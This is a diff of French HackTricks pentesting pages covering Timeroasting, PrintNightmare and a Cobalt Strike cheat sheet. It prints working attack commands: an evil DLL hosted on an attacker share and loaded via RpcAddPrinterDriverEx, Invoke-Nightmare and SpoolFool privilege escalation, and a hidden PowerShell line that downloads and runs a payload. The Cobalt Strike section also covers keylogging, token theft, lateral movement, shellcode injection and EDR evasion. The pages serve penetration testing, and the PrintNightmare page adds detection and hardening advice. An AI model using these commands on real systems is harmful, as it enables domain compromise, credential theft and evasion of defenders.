>> 3. Après avoir reçu la demande, le serveur vérifie que la taille du message reçu est de 68 octets. Si ce n'est pas le cas, le serveur soit rejette la demande (si la taille du message n'est pas égale à 48 octets) soit la traite comme une demande non authentifiée (si la taille du message est de 48 octets). En supposant que la taille du message reçu est de 68 octets, le serveur extrait le RID du message reçu. Le serveur l'utilise pour appeler la méthode NetrLogonComputeServerDigest (comme spécifié dans la section 3.5.4.8.2 de [MS-NRPC]) pour calculer les crypto-checksums et sélectionner le crypto-checksum basé sur le bit le plus significatif du sous-champ Key Identifier du message reçu, comme spécifié dans la section 3.2.5. Le serveur envoie ensuite une réponse au client, en définissant le champ Key Identifier à 0 et le champ Crypto-Checksum au crypto-checksum calculé.
|
||||
>> 3. Après avoir reçu la demande, le serveur vérifie que la taille du message reçu est de 68 octets. Si ce n'est pas le cas, le serveur soit rejette la demande (si la taille du message n'est pas égale à 48 octets), soit la traite comme une demande non authentifiée (si la taille du message est de 48 octets). En supposant que la taille du message reçu est de 68 octets, le serveur extrait le RID du message reçu. Le serveur l'utilise pour appeler la méthode NetrLogonComputeServerDigest (comme spécifié dans la section 3.5.4.8.2 de [MS-NRPC]) pour calculer les crypto-checksums et sélectionner le crypto-checksum basé sur le bit de poids fort du sous-champ Key Identifier du message reçu, comme spécifié dans la section 3.2.5. Le serveur envoie ensuite une réponse au client, en définissant le champ Key Identifier à 0 et le champ Crypto-Checksum au crypto-checksum calculé.
|
||||
|
||||
Selon la description dans le document officiel de Microsoft ci-dessus, les utilisateurs n'ont besoin d'aucune authentification ; ils doivent simplement remplir le RID pour initier une demande, puis ils peuvent obtenir le checksum cryptographique. Le checksum cryptographique est expliqué dans la section 3.2.5.1.1 du document.
|
||||
|
||||
> Cité dans l'article original :
|
||||
>> Le serveur récupère le RID des 31 bits les moins significatifs du sous-champ Key Identifier du champ Authenticator du message de demande NTP Client. Le serveur utilise la méthode NetrLogonComputeServerDigest (comme spécifié dans la section 3.5.4.8.2 de [MS-NRPC]) pour calculer les crypto-checksums avec les paramètres d'entrée suivants :
|
||||
>> Le serveur récupère le RID des 31 bits de poids faible du sous-champ Key Identifier du champ Authenticator du message de demande NTP Client. Le serveur utilise la méthode NetrLogonComputeServerDigest (comme spécifié dans la section 3.5.4.8.2 de [MS-NRPC]) pour calculer les crypto-checksums avec les paramètres d'entrée suivants :
|
||||
>>>
|
||||
|
||||
Le checksum cryptographique est calculé en utilisant MD5, et le processus spécifique peut être consulté dans le contenu du document. Cela nous donne l'opportunité d'effectuer une attaque de roasting.
|
||||
|
||||
## comment attaquer
|
||||
|
||||
Citation à https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-roasting-timeroasting/
|
||||
Citation de https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-roasting-timeroasting/
|
||||
|
||||
[SecuraBV/Timeroast](https://github.com/SecuraBV/Timeroast) - Scripts de Timeroasting par Tom Tervoort
|
||||
```
|
||||
sudo ./timeroast.py 10.0.0.42 | tee ntp-hashes.txt
|
||||
hashcat -m 31300 ntp-hashes.txt
|
||||
```
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,7 +1,98 @@
|
||||
# PrintNightmare
|
||||
# PrintNightmare (Windows Print Spooler RCE/LPE)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Consultez cet excellent article de blog sur PrintNightmare en 2024 : [https://www.hackingarticles.in/understanding-printnightmare-vulnerability/](https://www.hackingarticles.in/understanding-printnightmare-vulnerability/)**
|
||||
> PrintNightmare est le nom collectif donné à une famille de vulnérabilités dans le service **Print Spooler** de Windows qui permettent **l'exécution de code arbitraire en tant que SYSTEM** et, lorsque le spooler est accessible via RPC, **l'exécution de code à distance (RCE) sur les contrôleurs de domaine et les serveurs de fichiers**. Les CVEs les plus largement exploités sont **CVE-2021-1675** (initialement classé comme LPE) et **CVE-2021-34527** (RCE complet). Des problèmes ultérieurs tels que **CVE-2021-34481 (“Point & Print”)** et **CVE-2022-21999 (“SpoolFool”)** prouvent que la surface d'attaque est encore loin d'être fermée.
|
||||
|
||||
---
|
||||
|
||||
## 1. Composants vulnérables & CVEs
|
||||
|
||||
| Année | CVE | Nom court | Primitive | Remarques |
|
||||
|------|-----|------------|-----------|-------|
|
||||
|2021|CVE-2021-1675|“PrintNightmare #1”|LPE|Corrigé dans le CU de juin 2021 mais contourné par CVE-2021-34527|
|
||||
|2021|CVE-2021-34527|“PrintNightmare”|RCE/LPE|AddPrinterDriverEx permet aux utilisateurs authentifiés de charger un DLL de pilote à partir d'un partage distant|
|
||||
|2021|CVE-2021-34481|“Point & Print”|LPE|Installation de pilote non signé par des utilisateurs non administrateurs|
|
||||
|2022|CVE-2022-21999|“SpoolFool”|LPE|Création de répertoires arbitraires → Plantage de DLL – fonctionne après les correctifs de 2021|
|
||||
|
||||
Tous abusent de l'une des méthodes RPC **MS-RPRN / MS-PAR** (`RpcAddPrinterDriver`, `RpcAddPrinterDriverEx`, `RpcAsyncAddPrinterDriver`) ou des relations de confiance à l'intérieur de **Point & Print**.
|
||||
|
||||
## 2. Techniques d'exploitation
|
||||
|
||||
### 2.1 Compromission du contrôleur de domaine à distance (CVE-2021-34527)
|
||||
|
||||
Un utilisateur de domaine authentifié mais **non privilégié** peut exécuter des DLL arbitraires en tant que **NT AUTHORITY\SYSTEM** sur un spooler distant (souvent le DC) en :
|
||||
```powershell
|
||||
# 1. Host malicious driver DLL on a share the victim can reach
|
||||
impacket-smbserver share ./evil_driver/ -smb2support
|
||||
|
||||
# 2. Use a PoC to call RpcAddPrinterDriverEx
|
||||
python3 CVE-2021-1675.py victim_DC.domain.local 'DOMAIN/user:Password!' \
|
||||
-f \
|
||||
'\\attacker_IP\share\evil.dll'
|
||||
```
|
||||
Les PoCs populaires incluent **CVE-2021-1675.py** (Python/Impacket), **SharpPrintNightmare.exe** (C#) et les modules `misc::printnightmare / lsa::addsid` de Benjamin Delpy dans **mimikatz**.
|
||||
|
||||
### 2.2 Élévation de privilèges locale (tous les Windows pris en charge, 2021-2024)
|
||||
|
||||
La même API peut être appelée **localement** pour charger un pilote depuis `C:\Windows\System32\spool\drivers\x64\3\` et obtenir des privilèges SYSTEM :
|
||||
```powershell
|
||||
Import-Module .\Invoke-Nightmare.ps1
|
||||
Invoke-Nightmare -NewUser hacker -NewPassword P@ssw0rd!
|
||||
```
|
||||
### 2.3 SpoolFool (CVE-2022-21999) – contournement des correctifs de 2021
|
||||
|
||||
Les correctifs de Microsoft de 2021 ont bloqué le chargement de pilotes à distance mais **n'ont pas durci les permissions des répertoires**. SpoolFool abuse du paramètre `SpoolDirectory` pour créer un répertoire arbitraire sous `C:\Windows\System32\spool\drivers\`, dépose une DLL de charge utile et force le spouleur à la charger :
|
||||
```powershell
|
||||
# Binary version (local exploit)
|
||||
SpoolFool.exe -dll add_user.dll
|
||||
|
||||
# PowerShell wrapper
|
||||
Import-Module .\SpoolFool.ps1 ; Invoke-SpoolFool -dll add_user.dll
|
||||
```
|
||||
> L'exploit fonctionne sur Windows 7 → Windows 11 entièrement patché et Server 2012R2 → 2022 avant les mises à jour de février 2022
|
||||
|
||||
---
|
||||
|
||||
## 3. Détection & chasse
|
||||
|
||||
* **Journaux d'événements** – activez les canaux *Microsoft-Windows-PrintService/Operational* et *Admin* et surveillez **l'ID d'événement 808** “Le spouleur d'impression a échoué à charger un module plug-in” ou les messages **RpcAddPrinterDriverEx**.
|
||||
* **Sysmon** – `ID d'événement 7` (Image chargée) ou `11/23` (Écriture/suppression de fichier) à l'intérieur de `C:\Windows\System32\spool\drivers\*` lorsque le processus parent est **spoolsv.exe**.
|
||||
* **Lignée des processus** – alertes chaque fois que **spoolsv.exe** génère `cmd.exe`, `rundll32.exe`, PowerShell ou tout binaire non signé.
|
||||
|
||||
## 4. Atténuation & durcissement
|
||||
|
||||
1. **Mettez à jour !** – Appliquez la dernière mise à jour cumulative sur chaque hôte Windows ayant le service Print Spooler installé.
|
||||
2. **Désactivez le spouleur là où il n'est pas nécessaire**, en particulier sur les contrôleurs de domaine :
|
||||
```powershell
|
||||
Stop-Service Spooler -Force
|
||||
Set-Service Spooler -StartupType Disabled
|
||||
```
|
||||
3. **Bloquez les connexions à distance** tout en permettant l'impression locale – Stratégie de groupe : `Configuration de l'ordinateur → Modèles administratifs → Imprimantes → Autoriser le spouleur d'impression à accepter les connexions des clients = Désactivé`.
|
||||
4. **Restreindre Point & Print** afin que seuls les administrateurs puissent ajouter des pilotes en définissant la valeur du registre :
|
||||
```cmd
|
||||
reg add "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint" \
|
||||
/v RestrictDriverInstallationToAdministrators /t REG_DWORD /d 1 /f
|
||||
```
|
||||
Guide détaillé dans Microsoft KB5005652
|
||||
|
||||
---
|
||||
|
||||
## 5. Recherche / outils connexes
|
||||
|
||||
* [mimikatz `printnightmare`](https://github.com/gentilkiwi/mimikatz/tree/master/modules) modules
|
||||
* SharpPrintNightmare (C#) / Invoke-Nightmare (PowerShell)
|
||||
* Exploit SpoolFool & compte rendu
|
||||
* Micropatches 0patch pour SpoolFool et d'autres bugs de spouleur
|
||||
|
||||
---
|
||||
|
||||
**Lecture complémentaire (externe) :** Consultez le billet de blog de 2024 – [Understanding PrintNightmare Vulnerability](https://www.hackingarticles.in/understanding-printnightmare-vulnerability/)
|
||||
|
||||
## Références
|
||||
|
||||
* Microsoft – *KB5005652 : Gérer le nouveau comportement d'installation de pilote par défaut de Point & Print*
|
||||
<https://support.microsoft.com/en-us/topic/kb5005652-manage-new-point-and-print-default-driver-installation-behavior-cve-2021-34481-873642bf-2634-49c5-a23b-6d8e9a302872>
|
||||
* Oliver Lyak – *SpoolFool : CVE-2022-21999*
|
||||
<https://github.com/ly4k/SpoolFool>
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,6 +1,6 @@
|
||||
# Cobalt Strike
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
### Écouteurs
|
||||
|
||||
@ -17,9 +17,9 @@ Les beacons de ces écouteurs n'ont pas besoin de communiquer directement avec l
|
||||
* Le **beacon TCP mettra en place un écouteur sur le port sélectionné**. Pour se connecter à un beacon TCP, utilisez la commande `connect <ip> <port>` depuis un autre beacon.
|
||||
* Le **beacon smb écoutera dans un pipename avec le nom sélectionné**. Pour se connecter à un beacon SMB, vous devez utiliser la commande `link [target] [pipe]`.
|
||||
|
||||
### Générer et héberger des charges utiles
|
||||
### Générer et héberger des payloads
|
||||
|
||||
#### Générer des charges utiles dans des fichiers
|
||||
#### Générer des payloads dans des fichiers
|
||||
|
||||
`Attacks -> Packages ->`
|
||||
|
||||
@ -28,11 +28,11 @@ Les beacons de ces écouteurs n'ont pas besoin de communiquer directement avec l
|
||||
* **`Windows Executable`** pour un .exe, .dll ou service .exe
|
||||
* **`Windows Executable (S)`** pour un **stageless** .exe, .dll ou service .exe (mieux stageless que staged, moins d'IoCs)
|
||||
|
||||
#### Générer et héberger des charges utiles
|
||||
#### Générer et héberger des payloads
|
||||
|
||||
`Attacks -> Web Drive-by -> Scripted Web Delivery (S)` Cela générera un script/exécutable pour télécharger le beacon depuis Cobalt Strike dans des formats tels que : bitsadmin, exe, powershell et python.
|
||||
|
||||
#### Héberger des charges utiles
|
||||
#### Héberger des Payloads
|
||||
|
||||
Si vous avez déjà le fichier que vous souhaitez héberger sur un serveur web, allez simplement à `Attacks -> Web Drive-by -> Host File` et sélectionnez le fichier à héberger et la configuration du serveur web.
|
||||
|
||||
@ -52,8 +52,8 @@ screenwatch # Prendre des captures d'écran périodiques du bureau
|
||||
keylogger [pid] [x86|x64]
|
||||
## View > Keystrokes pour voir les touches pressées
|
||||
|
||||
# scan de port
|
||||
portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Injecter l'action de scan de port dans un autre processus
|
||||
# portscan
|
||||
portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Injecter l'action de scan de port à l'intérieur d'un autre processus
|
||||
portscan [targets] [ports] [arp|icmp|none] [max connections]
|
||||
|
||||
# Powershell
|
||||
@ -68,7 +68,7 @@ psinject <pid> <arch> <commandlet> <arguments> # Cela injecte UnmanagedPowerShel
|
||||
# Usurpation d'utilisateur
|
||||
## Génération de token avec des identifiants
|
||||
make_token [DOMAIN\user] [password] #Créer un token pour usurper un utilisateur dans le réseau
|
||||
ls \\computer_name\c$ # Essayer d'utiliser le token généré pour accéder à C$ dans un ordinateur
|
||||
ls \\computer_name\c$ # Essayer d'utiliser le token généré pour accéder à C$ sur un ordinateur
|
||||
rev2self # Arrêter d'utiliser le token généré avec make_token
|
||||
## L'utilisation de make_token génère l'événement 4624 : Un compte a été connecté avec succès. Cet événement est très courant dans un domaine Windows, mais peut être restreint en filtrant sur le type de connexion. Comme mentionné ci-dessus, il utilise LOGON32_LOGON_NEW_CREDENTIALS qui est de type 9.
|
||||
|
||||
@ -79,9 +79,9 @@ runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.w
|
||||
|
||||
## Voler un token depuis pid
|
||||
## Comme make_token mais en volant le token d'un processus
|
||||
steal_token [pid] # De plus, cela est utile pour les actions réseau, pas pour les actions locales
|
||||
## D'après la documentation de l'API, nous savons que ce type de connexion "permet à l'appelant de cloner son token actuel". C'est pourquoi la sortie du Beacon dit Usurpé <current_username> - il usurpe notre propre token cloné.
|
||||
ls \\computer_name\c$ # Essayer d'utiliser le token généré pour accéder à C$ dans un ordinateur
|
||||
steal_token [pid] # De plus, cela est utile pour les actions réseau, pas les actions locales
|
||||
## D'après la documentation de l'API, nous savons que ce type de connexion "permet à l'appelant de cloner son token actuel". C'est pourquoi la sortie du Beacon dit Impersonated <current_username> - il usurpe notre propre token cloné.
|
||||
ls \\computer_name\c$ # Essayer d'utiliser le token généré pour accéder à C$ sur un ordinateur
|
||||
rev2self # Arrêter d'utiliser le token de steal_token
|
||||
|
||||
## Lancer un processus avec de nouvelles identifiants
|
||||
@ -136,18 +136,18 @@ jump [method] [target] [listener]
|
||||
## Méthodes :
|
||||
## psexec x86 Utiliser un service pour exécuter un artefact Service EXE
|
||||
## psexec64 x64 Utiliser un service pour exécuter un artefact Service EXE
|
||||
## psexec_psh x86 Utiliser un service pour exécuter une ligne de commande PowerShell
|
||||
## winrm x86 Exécuter un script PowerShell via WinRM
|
||||
## winrm64 x64 Exécuter un script PowerShell via WinRM
|
||||
## psexec_psh x86 Utiliser un service pour exécuter une ligne de commande PowerShell
|
||||
## winrm x86 Exécuter un script PowerShell via WinRM
|
||||
## winrm64 x64 Exécuter un script PowerShell via WinRM
|
||||
## wmi_msbuild x64 mouvement latéral wmi avec tâche c# inline msbuild (oppsec)
|
||||
|
||||
remote-exec [method] [target] [command] # remote-exec ne retourne pas de sortie
|
||||
## Méthodes :
|
||||
## psexec Exécution à distance via le Gestionnaire de contrôle de service
|
||||
## winrm Exécution à distance via WinRM (PowerShell)
|
||||
## wmi Exécution à distance via WMI
|
||||
## psexec Exécution à distance via le Gestionnaire de Contrôle de Service
|
||||
## winrm Exécution à distance via WinRM (PowerShell)
|
||||
## wmi Exécution à distance via WMI
|
||||
|
||||
## Pour exécuter un beacon avec wmi (il n'est pas dans la commande jump), il suffit de télécharger le beacon et de l'exécuter
|
||||
## Pour exécuter un beacon avec wmi (ce n'est pas dans la commande jump), il suffit de télécharger le beacon et de l'exécuter
|
||||
beacon> upload C:\Payloads\beacon-smb.exe
|
||||
beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe
|
||||
|
||||
@ -159,7 +159,7 @@ msf6 exploit(multi/handler) > set LHOST eth0
|
||||
msf6 exploit(multi/handler) > set LPORT 8080
|
||||
msf6 exploit(multi/handler) > exploit -j
|
||||
|
||||
## Sur cobalt : Listeners > Ajouter et définir la charge utile sur HTTP étranger. Définissez l'hôte sur 10.10.5.120, le port sur 8080 et cliquez sur Enregistrer.
|
||||
## Sur cobalt : Listeners > Add et définir le Payload sur Foreign HTTP. Définissez l'Hôte sur 10.10.5.120, le Port sur 8080 et cliquez sur Enregistrer.
|
||||
beacon> spawn metasploit
|
||||
## Vous ne pouvez lancer que des sessions Meterpreter x86 avec l'écouteur étranger.
|
||||
|
||||
@ -168,13 +168,13 @@ beacon> spawn metasploit
|
||||
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<IP> LPORT=<PORT> -f raw -o /tmp/msf.bin
|
||||
## Exécutez msfvenom et préparez l'écouteur multi/handler
|
||||
|
||||
## Copier le fichier bin sur l'hôte Cobalt Strike
|
||||
## Copier le fichier bin sur l'hôte cobalt strike
|
||||
ps
|
||||
shinject <pid> x64 C:\Payloads\msf.bin #Injecter le shellcode metasploit dans un processus x64
|
||||
|
||||
# Passer la session metasploit à Cobalt Strike
|
||||
# Passer la session metasploit à cobalt strike
|
||||
## Générer le shellcode Beacon stageless, allez à Attacks > Packages > Windows Executable (S), sélectionnez l'écouteur souhaité, sélectionnez Raw comme type de sortie et sélectionnez Utiliser le payload x64.
|
||||
## Utilisez post/windows/manage/shellcode_inject dans metasploit pour injecter le shellcode Cobalt Strike généré.
|
||||
## Utilisez post/windows/manage/shellcode_inject dans metasploit pour injecter le shellcode cobalt strike généré.
|
||||
|
||||
# Pivotement
|
||||
## Ouvrir un proxy socks dans le serveur d'équipe
|
||||
@ -185,16 +185,16 @@ beacon> ssh 10.10.17.12:22 username password</code></pre>
|
||||
|
||||
## Opsec
|
||||
|
||||
### Execute-Assembly
|
||||
### Exécuter-Assembly
|
||||
|
||||
Le **`execute-assembly`** utilise un **processus sacrificiel** en utilisant l'injection de processus à distance pour exécuter le programme indiqué. Cela est très bruyant car pour injecter dans un processus, certaines API Win sont utilisées que chaque EDR vérifie. Cependant, il existe des outils personnalisés qui peuvent être utilisés pour charger quelque chose dans le même processus :
|
||||
Le **`execute-assembly`** utilise un **processus sacrificiel** en utilisant l'injection de processus à distance pour exécuter le programme indiqué. Cela est très bruyant car pour injecter à l'intérieur d'un processus, certaines API Win sont utilisées que chaque EDR vérifie. Cependant, il existe des outils personnalisés qui peuvent être utilisés pour charger quelque chose dans le même processus :
|
||||
|
||||
- [https://github.com/anthemtotheego/InlineExecute-Assembly](https://github.com/anthemtotheego/InlineExecute-Assembly)
|
||||
- [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly)
|
||||
- Dans Cobalt Strike, vous pouvez également utiliser BOF (Beacon Object Files) : [https://github.com/CCob/BOF.NET](https://github.com/CCob/BOF.NET)
|
||||
- [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly)
|
||||
|
||||
Le script agressor `https://github.com/outflanknl/HelpColor` créera la commande `helpx` dans Cobalt Strike qui mettra des couleurs dans les commandes indiquant si elles sont des BOFs (vert), si elles sont Frok&Run (jaune) et similaire, ou si elles sont ProcessExecution, injection ou similaire (rouge). Ce qui aide à savoir quelles commandes sont plus discrètes.
|
||||
Le script agressor `https://github.com/outflanknl/HelpColor` créera la commande `helpx` dans Cobalt Strike qui mettra des couleurs dans les commandes indiquant si elles sont BOFs (vert), si elles sont Frok&Run (jaune) et similaire, ou si elles sont ProcessExecution, injection ou similaire (rouge). Ce qui aide à savoir quelles commandes sont plus discrètes.
|
||||
|
||||
### Agir en tant qu'utilisateur
|
||||
|
||||
@ -202,7 +202,7 @@ Vous pourriez vérifier des événements comme `Seatbelt.exe LogonEvents Explici
|
||||
|
||||
- Sécurité EID 4624 - Vérifiez tous les logons interactifs pour connaître les heures de fonctionnement habituelles.
|
||||
- Système EID 12,13 - Vérifiez la fréquence d'arrêt/démarrage/sommeil.
|
||||
- Sécurité EID 4624/4625 - Vérifiez les tentatives NTLM valides/invalide entrantes.
|
||||
- Sécurité EID 4624/4625 - Vérifiez les tentatives NTLM valides/invalides entrantes.
|
||||
- Sécurité EID 4648 - Cet événement est créé lorsque des identifiants en texte clair sont utilisés pour se connecter. Si un processus l'a généré, le binaire a potentiellement les identifiants en texte clair dans un fichier de configuration ou dans le code.
|
||||
|
||||
Lors de l'utilisation de `jump` depuis Cobalt Strike, il est préférable d'utiliser la méthode `wmi_msbuild` pour rendre le nouveau processus plus légitime.
|
||||
@ -211,13 +211,13 @@ Lors de l'utilisation de `jump` depuis Cobalt Strike, il est préférable d'util
|
||||
|
||||
Il est courant que les défenseurs vérifient des comportements étranges générés par des utilisateurs et **excluent les comptes de service et les comptes d'ordinateur comme `*$` de leur surveillance**. Vous pourriez utiliser ces comptes pour effectuer un mouvement latéral ou une élévation de privilèges.
|
||||
|
||||
### Utiliser des charges utiles stageless
|
||||
### Utiliser des payloads stageless
|
||||
|
||||
Les charges utiles stageless sont moins bruyantes que celles en plusieurs étapes car elles n'ont pas besoin de télécharger une seconde étape depuis le serveur C2. Cela signifie qu'elles ne génèrent aucun trafic réseau après la connexion initiale, ce qui les rend moins susceptibles d'être détectées par des défenses basées sur le réseau.
|
||||
Les payloads stageless sont moins bruyants que les stagés car ils n'ont pas besoin de télécharger une seconde étape depuis le serveur C2. Cela signifie qu'ils ne génèrent aucun trafic réseau après la connexion initiale, ce qui les rend moins susceptibles d'être détectés par des défenses basées sur le réseau.
|
||||
|
||||
### Tokens & Stockage de Tokens
|
||||
|
||||
Faites attention lorsque vous volez ou générez des tokens car il pourrait être possible pour un EDR d'énumérer tous les tokens de tous les threads et de trouver un **token appartenant à un autre utilisateur** ou même à SYSTEM dans le processus.
|
||||
Faites attention lorsque vous volez ou générez des tokens car il pourrait être possible pour un EDR d'énumérer tous les tokens de tous les threads et de trouver un **token appartenant à un autre utilisateur** ou même SYSTEM dans le processus.
|
||||
|
||||
Cela permet de stocker des tokens **par beacon** afin qu'il ne soit pas nécessaire de voler le même token encore et encore. Cela est utile pour le mouvement latéral ou lorsque vous devez utiliser un token volé plusieurs fois :
|
||||
|
||||
@ -228,13 +228,13 @@ Cela permet de stocker des tokens **par beacon** afin qu'il ne soit pas nécessa
|
||||
- token-store remove <id>
|
||||
- token-store remove-all
|
||||
|
||||
Lors du mouvement latéral, il est généralement préférable de **voler un token que de générer un nouveau** ou d'effectuer une attaque pass the hash.
|
||||
Lors du mouvement latéral, il est généralement préférable de **voler un token que de générer un nouveau** ou d'effectuer une attaque de pass the hash.
|
||||
|
||||
### Garde-fous
|
||||
|
||||
Cobalt Strike a une fonctionnalité appelée **Garde-fous** qui aide à prévenir l'utilisation de certaines commandes ou actions qui pourraient être détectées par les défenseurs. Les garde-fous peuvent être configurés pour bloquer des commandes spécifiques, telles que `make_token`, `jump`, `remote-exec`, et d'autres couramment utilisées pour le mouvement latéral ou l'élévation de privilèges.
|
||||
|
||||
De plus, le dépôt [https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks](https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks) contient également quelques vérifications et idées que vous pourriez envisager avant d'exécuter une charge utile.
|
||||
De plus, le dépôt [https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks](https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks) contient également quelques vérifications et idées que vous pourriez envisager avant d'exécuter un payload.
|
||||
|
||||
### Chiffrement des tickets
|
||||
|
||||
@ -246,9 +246,9 @@ Lors de l'utilisation de Cobalt Strike, par défaut, les pipes SMB auront le nom
|
||||
|
||||
De plus, avec les sessions SSH, un pipe appelé `\\.\pipe\postex_ssh_####` est créé. Changez-le avec `set ssh_pipename "<new_name>";`.
|
||||
|
||||
Aussi dans l'attaque de post-exploitation, les pipes `\\.\pipe\postex_####` peuvent être modifiés avec `set pipename "<new_name>"`.
|
||||
Aussi dans l'attaque de post exploitation, les pipes `\\.\pipe\postex_####` peuvent être modifiés avec `set pipename "<new_name>"`.
|
||||
|
||||
Dans les profils Cobalt Strike, vous pouvez également modifier des éléments tels que :
|
||||
Dans les profils Cobalt Strike, vous pouvez également modifier des choses comme :
|
||||
|
||||
- Éviter d'utiliser `rwx`
|
||||
- Comment le comportement d'injection de processus fonctionne (quelles API seront utilisées) dans le bloc `process-inject {...}`
|
||||
@ -268,11 +268,11 @@ Lors de l'injection de code dans un processus, cela est généralement très bru
|
||||
|
||||
### Spawnas | Relations PID et PPID
|
||||
|
||||
Lors du lancement d'un nouveau processus, il est important de **maintenir une relation parent-enfant régulière** entre les processus pour éviter la détection. Si svchost.exec exécute iexplorer.exe, cela semblera suspect, car svchost.exe n'est pas un parent d'iexplorer.exe dans un environnement Windows normal.
|
||||
Lors de la création d'un nouveau processus, il est important de **maintenir une relation parent-enfant régulière** entre les processus pour éviter la détection. Si svchost.exec exécute iexplorer.exe, cela semblera suspect, car svchost.exe n'est pas un parent d'iexplorer.exe dans un environnement Windows normal.
|
||||
|
||||
Lorsqu'un nouveau beacon est lancé dans Cobalt Strike, par défaut, un processus utilisant **`rundll32.exe`** est créé pour exécuter le nouvel écouteur. Ce n'est pas très discret et peut être facilement détecté par les EDR. De plus, `rundll32.exe` est exécuté sans aucun argument, ce qui le rend encore plus suspect.
|
||||
Lorsqu'un nouveau beacon est créé dans Cobalt Strike, par défaut, un processus utilisant **`rundll32.exe`** est créé pour exécuter le nouvel écouteur. Ce n'est pas très discret et peut être facilement détecté par des EDR. De plus, `rundll32.exe` est exécuté sans aucun argument, ce qui le rend encore plus suspect.
|
||||
|
||||
Avec la commande suivante de Cobalt Strike, vous pouvez spécifier un processus différent pour lancer le nouveau beacon, le rendant moins détectable :
|
||||
Avec la commande suivante de Cobalt Strike, vous pouvez spécifier un processus différent pour créer le nouveau beacon, le rendant moins détectable :
|
||||
```bash
|
||||
spawnto x86 svchost.exe
|
||||
```
|
||||
@ -282,9 +282,9 @@ Vous pouvez également modifier ce paramètre **`spawnto_x86` et `spawnto_x64`**
|
||||
|
||||
Les attaquants auront parfois besoin de pouvoir exécuter des outils localement, même sur des machines Linux, et de faire en sorte que le trafic des victimes atteigne l'outil (par exemple, NTLM relay).
|
||||
|
||||
De plus, parfois, pour effectuer une attaque pass-the-hash ou pass-the-ticket, il est plus furtif pour l'attaquant **d'ajouter ce hash ou ce ticket dans son propre processus LSASS** localement, puis de pivoter à partir de celui-ci au lieu de modifier un processus LSASS d'une machine victime.
|
||||
De plus, parfois, pour effectuer une attaque pass-the-hash ou pass-the-ticket, il est plus discret pour l'attaquant **d'ajouter ce hash ou ce ticket dans son propre processus LSASS** localement, puis de pivoter à partir de celui-ci au lieu de modifier un processus LSASS d'une machine victime.
|
||||
|
||||
Cependant, vous devez être **prudent avec le trafic généré**, car vous pourriez envoyer un trafic inhabituel (kerberos ?) depuis votre processus de porte dérobée. Pour cela, vous pourriez pivoter vers un processus de navigateur (bien que vous puissiez être pris en flagrant délit en vous injectant dans un processus, donc pensez à une manière furtive de le faire).
|
||||
Cependant, vous devez être **prudent avec le trafic généré**, car vous pourriez envoyer un trafic inhabituel (kerberos ?) depuis votre processus de porte dérobée. Pour cela, vous pourriez pivoter vers un processus de navigateur (bien que vous puissiez être pris en flagrant délit en vous injectant dans un processus, donc pensez à une manière discrète de le faire).
|
||||
```bash
|
||||
|
||||
### Avoiding AVs
|
||||
@ -360,4 +360,4 @@ pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
|
||||
```
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user